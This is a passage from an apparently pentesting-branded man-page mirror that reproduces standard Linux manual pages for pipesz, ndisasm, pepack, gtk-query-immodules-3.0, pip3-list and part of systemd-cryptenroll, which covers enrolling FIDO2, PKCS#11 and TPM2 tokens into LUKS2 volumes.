pipesz supports specifying multiple short options consecutively, in the usual getopt(3) fashion. The first non-option argument is interpreted as command. If command might begin with -, use – to separate it from arguments to pipesz. In shell scripts, it is good practice to use – when parameter expansion is involved. pipesz itself does not read from standard input and does not write to standard output unless –get, –help, or –version are specified.

OPTIONS

-g, –get

Report the size of pipe buffers to standard output and exit. As a special behavior, if neither –file nor –fd are specified, standard input is examined. It is an error to specify this option in combination with –set.

-s, –set size

Set the size of the pipe buffers, in bytes. This option may be suffixed by K, M, G, KiB, MiB, or GiB to indicate multiples of 1024. Fractional values are supported in this case. Additional suffixes are supported but are unlikely to be useful. If this option is not specified, a default value is used, as described above. If this option is specified multiple times, a warning is emitted and only the last-specified size is used. As a special behavior, if neither –file nor –fd are specified, standard output is adjusted. It is an error to specify this option in combination with –get.

-f, –file path

Set the buffer size of the FIFO or pipe at path, relative to the current working directory. You may specify this option multiple times to affect different files, and you may do so in combination with –fd. Generally, this option is used with FIFOs, but it will also operate on anonymous pipes such as those found in /proc/PID/fd. Changes to the buffer size of FIFOs are not preserved across system restarts.

-n, –fd fd

Set the buffer size of the pipe or FIFO passed to pipesz as the specified file descriptor number. You may specify this option multiple times to affect different file descriptors, and you may do so in combination with –file. Shorthand options are provided for the common cases of fd 0 (stdin), fd 1 (stdout), and fd 2 (stderr). These should suffice in most cases.

-i, –stdin

Shorthand for –fd 0.

-o, –stdout

Shorthand for –fd 1.

-e, –stderr

Shorthand for –fd 2.

-c, –check

Exit, without executing command, in case of any error while manipulating a file or file descriptor. The default behavior if this is not specified is to emit a warning to standard error and continue.

-q, –quiet

Do not diagnose non-fatal errors to standard error. This option does not affect the normal output of –get, –verbose, –help, or –version.

-v, –verbose

If specified with –get, pipesz will emit a descriptive header above the table. Otherwise, if specified, pipesz will print the actual buffer sizes set by the kernel to standard error.

-h, –help

Display help text and exit.

-V, –version

Print version and exit.

EXAMPLES

pipesz dd if=file bs=1M | …

Runs dd(1) with an expanded standard output pipe, allowing it to avoid context switches when piping around large blocks.

pipesz -s1M -cf /run/my-service.fifo

Sets the pipe buffer size of a service FIFO to 1,048,576 bytes. If the buffer size could not be set, pipesz exits with an error.

echo hello | pipesz -g

Prints the size of pipe used by the shell to pass input to pipesz. Since pipesz does not read standard input, it may also report 6 unread bytes in the pipe, depending on relative timings.

find /proc/PID/fd -exec pipesz -gqf {} ;

Prints the size and number of unread bytes of all pipes in use by PID. If some pipes are routinely full, pipesz might be able to mitigate a processing bottleneck.

NOTES

Linux supports adjusting the size of pipe buffers since kernel 2.6.35. This release also introduced /proc/sys/fs/pipe-max-size.

This program uses fcntl(2) F_GETPIPE_SZ/F_SETPIPE_SZ to get and set pipe buffer sizes.

This program uses ioctl(2) FIONREAD to report the amount of unread data in pipes. If for some reason this fails, the amount of unread data is reported as 0.

BUGS

Before Linux 4.9, some bugs affect how certain resource limits are enforced when setting pipe buffer sizes. See pipe(7) for details.

AUTHORS

SEE ALSO

pipe(7)

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The pipesz command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2235 - Linux cli command ndisasm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ndisasm and provides detailed information about the command ndisasm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ndisasm.

NAME 🖥️ ndisasm 🖥️

the Netwide Disassembler, an 80x86 binary file disassembler

SYNOPSIS

ndisasm [ -o origin ] [ -s sync-point […]] [ -a | -i ] [ -b bits ] [ -u ] [ -e hdrlen ] [ -p vendor ] [ -k offset,length […]] infile

DESCRIPTION

The ndisasm command generates a disassembly listing of the binary file infile and directs it to stdout.

OPTIONS

-h

Causes ndisasm to exit immediately, after giving a summary of its invocation options.

-r|-v

Causes ndisasm to exit immediately, after displaying its version number.

-o origin

Specifies the notional load address for the file. This option causes ndisasm to get the addresses it lists down the left hand margin, and the target addresses of PC-relative jumps and calls, right.

-s sync-point

Manually specifies a synchronisation address, such that ndisasm will not output any machine instruction which encompasses bytes on both sides of the address. Hence the instruction which starts at that address will be correctly disassembled.

-e hdrlen

Specifies a number of bytes to discard from the beginning of the file before starting disassembly. This does not count towards the calculation of the disassembly offset: the first disassembled instruction will be shown starting at the given load address.

-k offset,length

Specifies that length bytes, starting from disassembly offset offset, should be skipped over without generating any output. The skipped bytes still count towards the calculation of the disassembly offset.

-a|-i

Enables automatic (or intelligent) sync mode, in which ndisasm will attempt to guess where synchronisation should be performed, by means of examining the target addresses of the relative jumps and calls it disassembles.

-b bits

Specifies 16-, 32- or 64-bit mode. The default is 16-bit mode.

-u

Specifies 32-bit mode, more compactly than using ‘-b 32’.

-p vendor

Prefers instructions as defined by vendor in case of a conflict. Known vendor names include intel, amd, cyrix, and idt. The default is intel.

RESTRICTIONS

ndisasm only disassembles binary files: it has no understanding of the header information present in object or executable files. If you want to disassemble an object file, you should probably be using objdump(1).

Auto-sync mode won’t necessarily cure all your synchronisation problems: a sync marker can only be placed automatically if a jump or call instruction is found to refer to it before ndisasm actually disassembles that part of the code. Also, if spurious jumps or calls result from disassembling non-machine-code data, sync markers may get placed in strange places. Feel free to turn auto-sync off and go back to doing it manually if necessary.

SEE ALSO

objdump(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2236 - Linux cli command pepack

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pepack and provides detailed information about the command pepack, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pepack.

NAME 🖥️ pepack 🖥️

check if a PE file is packed

SYNOPSIS

pepack [OPTIONS]… pefile

DESCRIPTION

pepack uses a pre-defined database to check packer signatures patterns in PE file. If no database is set, pepack tries to identify if executable is packed. It’s part of pev, the PE file analysis toolkit.

pefile is a PE32/PE32+ executable or dynamic linked library file.

OPTIONS

-d, –database <database>
Use database file (default: ./userdb.txt).

-f, –format <text|csv|xml|html>
Change output format (default: text)

-V, –version
Show version and exit.

–help
Show help.

EXAMPLES

Check sample.exe for packers signatures:

$ pepack sample.exe

REPORTING BUGS

Please, check the latest development code and report at https://github.com/mentebinaria/readpe/issues

SEE ALSO

ofs2rva(1), pedis(1), pehash(1), peldd(1), peres(1), pescan(1), pesec(1), pestr(1), readpe(1), rva2ofs(1)

COPYRIGHT

Copyright (C) 2012 - 2020 pev authors. License GPLv2+: GNU GPL version 2 or later <https://www.gnu.org/licenses/gpl-2.0.txt>. This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2237 - Linux cli command gtk-query-immodules-3.0

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command gtk-query-immodules-3.0 and provides detailed information about the command gtk-query-immodules-3.0, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the gtk-query-immodules-3.0.

NAME 🖥️ gtk-query-immodules-3.0 🖥️

query-immodules-3.0 - Input method module registration utility

SYNOPSIS

gtk-query-immodules-3.0 [–update-cache] [MODULE…]

DESCRIPTION

gtk-query-immodules-3.0 collects information about loadable input method modules for GTK+ and writes it to the default cache file location, or to stdout.

If called without arguments, it looks for modules in the GTK+ input method module path.

If called with arguments, it looks for the specified modules. The arguments may be absolute or relative paths.

Normally, the output of gtk-query-immodules-3.0 is written to libdir/gtk-3.0/3.0.0/immodules.cache, where GTK+ looks for it by default. If it is written to some other location, the GTK_IM_MODULE_FILE environment variable can be set to point GTK+ at the file.

OPTIONS

–update-cache

Write the output to the default cache location instead of stdout

FILES

libdir/gtk-3.0/3.0.0/immodules.cache

The default im cache file used by GTK+ applications

ENVIRONMENT

GTK_PATH

Prepends directories to the input method module path

GTK_IM_MODULE_FILE

Specifies an alternative im module cache for GTK+ applications

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2238 - Linux cli command pip3-list

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pip3-list and provides detailed information about the command pip3-list, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pip3-list.

NAME 🖥️ pip3-list 🖥️

list - description of pip3 list command

DESCRIPTION

List installed packages, including editables.

Packages are listed in a case-insensitive sorted order.

USAGE

python -m pip list [options]

OPTIONS

-o, –outdated
List outdated packages

(environment variable: PIP_OUTDATED)

-u, –uptodate
List uptodate packages

(environment variable: PIP_UPTODATE)

-e, –editable
List editable projects.

(environment variable: PIP_EDITABLE)

-l, –local
If in a virtualenv that has global access, do not list globally-installed packages.

(environment variable: PIP_LOCAL)

–user
Only output packages installed in user-site.

(environment variable: PIP_USER)

–path <path>
Restrict to the specified installation path for listing packages (can be used multiple times).

(environment variable: PIP_PATH)

–pre
Include pre-release and development versions. By default, pip only finds stable versions.

(environment variable: PIP_PRE)

–format <list_format>
Select the output format among: columns (default), freeze, or json. The ‘freeze’ format cannot be used with the –outdated option.

(environment variable: PIP_FORMAT)

–not-required
List packages that are not dependencies of installed packages.

(environment variable: PIP_NOT_REQUIRED)

–exclude-editable
Exclude editable package from output.

(environment variable: PIP_EXCLUDE_EDITABLE)

–include-editable
Include editable package from output.

(environment variable: PIP_INCLUDE_EDITABLE)

–exclude <package>
Exclude specified package from the output

(environment variable: PIP_EXCLUDE)

AUTHOR

pip developers

COPYRIGHT

The pip developers

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2239 - Linux cli command systemd-cryptenroll

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command systemd-cryptenroll and provides detailed information about the command systemd-cryptenroll, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the systemd-cryptenroll.

NAME 🖥️ systemd-cryptenroll 🖥️

cryptenroll - Enroll PKCS#11, FIDO2, TPM2 token/devices to LUKS2 encrypted volumes

SYNOPSIS

systemd-cryptenroll [OPTIONS…] [DEVICE]

DESCRIPTION

systemd-cryptenroll is a tool for enrolling hardware security tokens and devices into a LUKS2 encrypted volume, which may then be used to unlock the volume during boot. Specifically, it supports tokens and credentials of the following kind to be enrolled:

1.

PKCS#11 security tokens and smartcards that may carry an RSA or EC key pair (e.g. various YubiKeys)

2.

FIDO2 security tokens that implement the “hmac-secret” extension (most FIDO2 keys, including YubiKeys)

3.

TPM2 security devices

4.

Regular passphrases

5.

Recovery keys. These are similar to regular passphrases, however are randomly generated on the computer and thus generally have higher entropy than user-chosen passphrases. Their character set has been designed to ensure they are easy to type in, while having high entropy. They may also be scanned off screen using QR codes. Recovery keys may be used for unlocking LUKS2 volumes wherever passphrases are accepted. They are intended to be used in combination with an enrolled hardware security token, as a recovery option when the token is lost.

In addition, the tool may be used to enumerate currently enrolled security tokens and wipe a subset of them. The latter may be combined with the enrollment operation of a new security token, in order to update or replace enrollments.

The tool supports only LUKS2 volumes, as it stores token meta-information in the LUKS2 JSON token area, which is not available in other encryption formats.

systemd-cryptsetup operates on the device backing /var/ if no device is specified explicitly, and no wipe operation is requested. (Note that in the typical case where /var/ is on the same file system as the root file system, this hence enrolls a key into the backing device of the root file system.)

TPM2 PCRs and policies

PCRs allow binding of the encryption of secrets to specific software versions and system state, so that the enrolled key is only accessible (may be “unsealed”) if specific trusted software and/or configuration is used. Such bindings may be created with the option –tpm2-pcrs= described below.

Secrets may also be bound indirectly: a signed policy for a state of some combination of PCR values is provided, and the secret is bound to the public part of the key used to sign this policy. This means that the owner of a key can generate a sequence of signed policies, for specific software versions and system states, and the secret can be decrypted as long as the machine state matches one of those policies. For example, a vendor may provide such a policy for each kernel+initrd update, allowing users to encrypt secrets so that they can be decrypted when running any kernel+initrd signed by the vendor. Such bindings may be created with the options –tpm2-public-key=, –tpm2-public-key-pcrs=, –tpm2-signature= described below.

See Linux TPM PCR Registry[1] for an authoritative list of PCRs and how they are updated. The table below contains a quick reference, describing in particular the PCRs modified by systemd.

Table 1. Well-known PCR Definitions

PCRnameExplanation
0platform-codeCore system firmware executable code; changes on firmware updates
1platform-configCore system firmware data/host platform configuration; typically contains serial and model numbers, changes on basic hardware/CPU/RAM replacements
2external-codeExtended or pluggable executable code; includes option ROMs on pluggable hardware
3external-configExtended or pluggable firmware data; includes information about pluggable hardware
4boot-loader-codeBoot loader and additional drivers, PE binaries invoked by the boot loader; changes on boot loader updates. sd-stub(7) measures system extension images read from the ESP here too (see systemd-sysext(8)).
5boot-loader-configGPT/Partition table; changes when the partitions are added, modified, or removed
7secure-boot-policySecure Boot state; changes when UEFI SecureBoot mode is enabled/disabled, or firmware certificates (PK, KEK, db, dbx, ...) changes.
9kernel-initrdThe Linux kernel measures all initrds it receives into this PCR.
10imaThe IMA project measures its runtime state into this PCR.
11kernel-bootsystemd-stub(7) measures the ELF kernel image, embedded initrd and other payload of the PE image it is placed in into this PCR. systemd-pcrphase.service(8) measures boot phase strings into this PCR at various milestones of the boot process.
12kernel-configsystemd-boot(7) measures the kernel command line into this PCR. systemd-stub(7) measures any manually specified kernel command line (i.e. a kernel command line that overrides the one embedded in the unified PE image) and loaded credentials into this PCR.
13sysextssystemd-stub(7) measures any systemd-sysext(8) images it passes to the booted kernel into this PCR.
14shim-policyThe shim project measures its "MOK" certificates and hashes into this PCR.
15system-identitysystemd-cryptsetup(8) optionally measures the volume key of activated LUKS volumes into this PCR. systemd-pcrmachine.service(8) measures the machine-id(5) into this PCR. [email protected](8) measures mount points, file system UUIDs, labels, partition UUIDs of the root and /var/ filesystems into this PCR.
16debugDebug
23application-supportApplication Support

In general, encrypted volumes would be bound to some combination of PCRs 7, 11, and 14 (if shim/MOK is used). In order to allow firmware and OS version updates, it is typically not advisable to use PCRs such as 0 and 2, since the program code they cover should already be covered indirectly through the certificates measured into PCR 7. Validation through certificates hashes is typically preferable over validation through direct measurements as it is less brittle in context of OS/firmware updates: the measurements will change on every update, but signatures should remain unchanged. See the Linux TPM PCR Registry[1] for more discussion.

LIMITATIONS

Note that currently when enrolling a new key of one of the five supported types listed above, it is required to first provide a passphrase, a recovery key, a FIDO2 token, or a TPM2 key. Its currently not supported to unlock a device with a PKCS#11 key in order to enroll a new PKCS#11 key. Thus, if in future key roll-over is desired its generally recommended to ensure a passphrase, a recovery key, a FIDO2 token, or a TPM2 key is always enrolled.

Also note that support for enrolling multiple FIDO2 tokens is currently limited. When multiple FIDO2 tokens are enrolled, systemd-cryptsetup will perform pre-flight requests to attempt to identify which of the enrolled tokens are currently plugged in. However, this is not possible for FIDO2 tokens with user verification (UV, usually via biometrics), in which case it will fall back to attempting each enrolled token one by one. This will result in multiple prompts for PIN and user verification. This limitation does not apply to PKCS#11 tokens.

COMPATIBILITY

Security technology both in systemd and in the general industry constantly evolves. In order to provide best security guarantees, the way TPM2, FIDO2, PKCS#11 devices are enrolled is regularly updated in newer versions of systemd. Whenever this happens the following compatibility guarantees are given:

·

Old enrollments continue to be supported and may be unlocked with newer versions of [email protected](8).

·

The opposite is not guaranteed however: it might not be possible to unlock volumes with enrollments done with a newer version of systemd-cryptenroll with an older version of systemd-cryptsetup.

That said, it is generally recommended to use matching versions of systemd-cryptenroll and systemd-cryptsetup, since this is best tested and supported.

It might be advisable to re-enroll existing enrollments to take benefit of newer security features, as they are added to systemd.

OPTIONS

The following options are understood:

–password

Enroll a regular password/passphrase. This command is mostly equivalent to cryptsetup luksAddKey, however may be combined with –wipe-slot= in one call, see below.

Added in version 248.

–recovery-key

Enroll a recovery key. Recovery keys are mostly identical to passphrases, but are computer-generated instead of being chosen by a human, and thus have a guaranteed high entropy. The key uses a character set that is easy to type in, and may be scanned off screen via a QR code.

Added in version 248.

**–unlock-key-file=**PATH

Use a file instead of a password/passphrase read from stdin to unlock the volume. Expects the PATH to the file containing your key to unlock the volume. Currently there is nothing like –key-file-offset= or –key-file-size= so this file has to only contain the full key.

Added in version 252.

**–unlock-fido2-device=**PATH

Use a FIDO2 device instead of a password/passphrase read from stdin to unlock the volume. Expects a hidraw device referring to the FIDO2 device (e.g. /dev/hidraw1). Alternatively the special value “auto” may be specified, in order to automatically determine the device node of a currently plugged in security token (of which there must be exactly one). This automatic discovery is unsupported if –fido2-device= option is also specified.

Added in version 253.

**–unlock-tpm2-device=**PATH

Use a TPM2 device instead of a password/passhprase read from stdin to unlock the volume. Expects a device node path referring to the TPM2 chip (e.g. /dev/tpmrm0). Alternatively the special value “auto” may be specified, in order to automatically determine the device node of a currently discovered TPM2 device (of which there must be exactly one).

Added in version 256.

**–pkcs11-token-uri=**URI

Enroll a PKCS#11 security token or smartcard (e.g. a YubiKey). Expects a PKCS#11 URI that allows finding an X.509 certificate or a public key on the token. The URI must also be suitable to find a related private key after changing the type of object in it. Alternatively the special value “auto” may be specified, in order to automatically determine the suitable URI if a single security token containing a single key pair is plugged in. The special value “list” may be used to enumerate all suitable PKCS#11 tokens currently plugged in.

The PKCS#11 token must contain an RSA or EC key pair which will be used to unlock a LUKS2 volume. For RSA, a randomly generated volume key is encrypted with a public key in the token, and stored in the LUKS2 JSON token header area. To unlock a volume, the stored encrypted volume key will be decrypted with a private key in the token. For ECC, ECDH algorithm is used: we generate a pair of EC keys in the same EC group, then derive a shared secret using the generated private key and the public key in the token. The derived shared secret is used as a volume key. The generated public key is stored in the LUKS2 JSON token header area. The generated private key is erased. To unlock a volume, we derive the shared secret with the stored public key and a private key in the token.

In order to unlock a LUKS2 volume with an enrolled PKCS#11 security token, specify the pkcs11-uri= option in the respective /etc/crypttab line:

myvolume /dev/sda1 - pkcs11-uri=auto

See crypttab(5) for a more comprehensive example of a systemd-cryptenroll invocation and its matching /etc/crypttab line.

Added in version 248.

**–fido2-credential-algorithm=**STRING

Specify COSE algorithm used in credential generation. The default value is “es256”. Supported values are “es256”, “rs256” and “eddsa”.

“es256” denotes ECDSA over NIST P-256 with SHA-256. “rs256” denotes 2048-bit RSA with PKCS#1.5 padding and SHA-256. “eddsa” denotes EDDSA over Curve25519 with SHA-512.

Note that your authenticator may choose not to support some algorithms.

Added in version 251.

**–fido2-device=**PATH

Enroll a FIDO2 security token that implements the “hmac-secret” extension (e.g. a YubiKey). Expects a hidraw device referring to the FIDO2 device (e.g. /dev/hidraw1). Alternatively the special value “auto” may be specified, in order to automatically determine the device node of a currently plugged in security token (of which there must be exactly one). This automatic discovery is unsupported if –unlock-fido2-device= option is also specified. The special value “list” may be used to enumerate all suitable FIDO2 tokens currently plugged in. Note that many hardware security tokens that implement FIDO2 also implement the older PKCS#11 standard. Typically FIDO2 is preferable, given its simpler to use and more modern.

In order to unlock a LUKS2 volume with an enrolled FIDO2 security token, specify the fido2-device= option in the respective /etc/crypttab line:

myvolume /dev/sda1 - fido2-device=auto

See crypttab(5) for a more comprehensive example of a systemd-cryptenroll invocation and its matching /etc/crypttab line.

Added in version 248.

**–fido2-with-client-pin=**BOOL

When enrolling a FIDO2 security token, controls whether to require the user to enter a PIN when unlocking the volume (the FIDO2 “clientPin” feature). Defaults to “yes”. (Note: this setting is without effect if the security token does not support the “clientPin” feature at all, or does not allow enabling or disabling it.)

Added in version 249.

**–fido2-with-user-presence=**BOOL

When enrolling a FIDO2 security token, controls whether to require the user to verify presence (tap the token, the FIDO2 “up” feature) when unlocking the volume. Defaults to “yes”. (Note: this setting is without effect if the security token does not support the “up” feature at all, or does not allow enabling or disabling it.)

Added in version 249.

**–fido2-with-user-verification=**BOOL

When enrolling a FIDO2 security token, controls whether to require user verification when unlocking the volume (the FIDO2 “uv” feature). Defaults to “no”. (Note: this setting is without effect if the security token does not support the “uv” feature at all, or does not allow enabling or disabling it.)

Added in version 249.

**–tpm2-device=**PATH

Enroll a TPM2 security chip. Expects a device node path referring to the TPM2 chip (e.g. /dev/tpmrm0). Alternatively the special value “auto” may be specified, in order to automatically determine the device node of a currently discovered TPM2 device (of which there must be exactly one). The special value “list” may be used to enumerate all suitable TPM2 devices currently discovered.

In order to unlock a LUKS2 volume with an enrolled TPM2 security chip, specify the tpm2-device= option in the respective /etc/crypttab line:

myvolume /dev/sda1 - tpm2-device=auto

See crypttab(5) for a more comprehensive example of a systemd-cryptenroll invocation and its matching /etc/crypttab line.

Use –tpm2-pcrs= (see below) to configure which TPM2 PCR indexes to bind the enrollment to.

Added in version 248.

**–tpm2-device-key=**PATH

Enroll a TPM2 security chip using its public key. Expects a path referring to the TPM2 public key in TPM2B_PUBLIC format. This cannot be used with –tpm2-device=, as it performs the same operation, but without connecting to the TPM2 security chip; instead the enrollment is calculated using the provided TPM2 key. This is useful in situations where the TPM2 security chip is not available at the time of enrollment.

The key, in most cases, should be the Storage Root Key (SRK) from a local TPM2 security chip. If a key from a different handle (not the SRK) is used, you must specify its handle index using –tpm2-seal-key-handle=.

The systemd-tpm2-setup.service(8) service writes the SRK to /run/systemd/tpm2-srk-public-key.tpm2b_public automatically during boot, in the correct format.

Alternatively, you may use systemd-analyze srk to retrieve the SRK from the TPM2 security chip explicitly. See systemd-analyze(1) for details. Example:

systemd-analyze srk > srk.tpm2b_public

Added in version 255.

**–tpm2-seal-key-handle=**HANDLE

Configures which parent key to use for sealing, using the TPM handle (index) of the key. This is used to “seal” (encrypt) a secret and must be used later to “unseal” (decrypt) the secret. Expects a hexadecimal 32bit integer, optionally prefixed with “0x”. Allowable values are any handle index in the persistent (“0x81000000”-“0x81ffffff”) or transient (“0x80000000”-“0x80ffffff”) ranges. Since transient handles are lost after a TPM reset, and may be flushed during TPM context switching, they should not be used except for very specific use cases, e.g. testing.

The default is the Storage Root Key (SRK) handle index “0x81000001”. A value of 0 will use the default. For the SRK handle, a new key will be created and stored in the TPM if one does not already exist; for any other handle, the key must already exist in the TPM at the specified handle index.

This should not be changed unless you know what you are doing.

Added in version 255.

**–tpm2-pcrs=**PCR[+PCR…]

Configures the TPM2 PCRs (Platform Configuration Registers) to bind to when enrollment is requested via –tpm2-device=. Takes a list of PCR entries, where each entry starts with a name or numeric index in the range 0…23, optionally followed by “:” and a hash algorithm name (specifying the PCR bank), optionally followed by “=” and a hash digest value. Multiple PCR entries are separated by “+”. If not specified, the default is to use PCR 7 only. If an empty string is specified, binds the enrollment to no PCRs at all. See the table above for a list of available PCRs.

Example: –tpm2-pcrs=boot-loader-code+platform-config+boot-loader-config specifies that PCR registers 4, 1, and 5 should be used.

Example: –tpm2-pcrs=7:sha256 specifies that PCR register 7 from the SHA256 bank should be used.

Example: –tpm2-pcrs=4:sha1=3a3f780f11a4b49969fcaa80cd6e3957c33b2275 specifies that PCR register 4 from the SHA1 bank should be used, and a hash digest value of 3a3f780f11a4b49969fcaa80cd6e3957c33b2275 will be used instead of reading the current PCR value.

Added in version 248.

**–tpm2-with-pin=**BOOL

When enrolling a TPM2 device, controls whether to require the user to enter a PIN when unlocking the volume in addition to PCR binding, based on TPM2 policy authentication. Defaults to “no”. Despite being called PIN, any character can be used, not just numbers.

Note that incorrect PIN entry when unlocking increments the TPM dictionary attack lockout mechanism, and may lock out users for a prolonged time, depending on its configuration. The lockout mechanism is a global property of the TPM, systemd-cryptenroll does not control or configure the lockout mechanism. You may use tpm2-tss tools to inspect or configure the dictionary attack lockout, with tpm2_getcap(1) and tpm2_dictionarylockout(1) commands, respectively.

Added in version 251.

**–tpm2-public-key=**PATH, **–tpm2-public-key-pcrs=**PCR[+PCR…], **–tpm2-signature=**PATH

Configures a TPM2 signed PCR policy to bind encryption to. The –tpm2-public-key= option accepts a path to a PEM encoded RSA public key, to bind the encryption to. If this is not specified explicitly, but a file tpm2-pcr-public-key.pem exists in one of the directories /etc/systemd/, /run/systemd/, /usr/lib/systemd/ (searched in this order), it is automatically used. The –tpm2-public-key-pcrs= option takes a list of TPM2 PCR indexes to bind to (same syntax as –tpm2-pcrs= described above). If not specified defaults to 11 (i.e. this binds the policy to any unified kernel image for which a PCR signature can be provided).

Note the difference between –tpm2-pcrs= and –tpm2-public-key-pcrs=: the former binds decryption to the current, specific PCR values; the latter binds decryption to any set of PCR values for which a signature by the specified public key can be provided. The latter is hence more useful in scenarios where software updates shell be possible without losing access to all previously encrypted LUKS2 volumes. Like with –tpm2-pcrs=, names defined in the table above can also be used to specify the registers, for instance –tpm2-public-key-pcrs=boot-loader-code+system-identity.

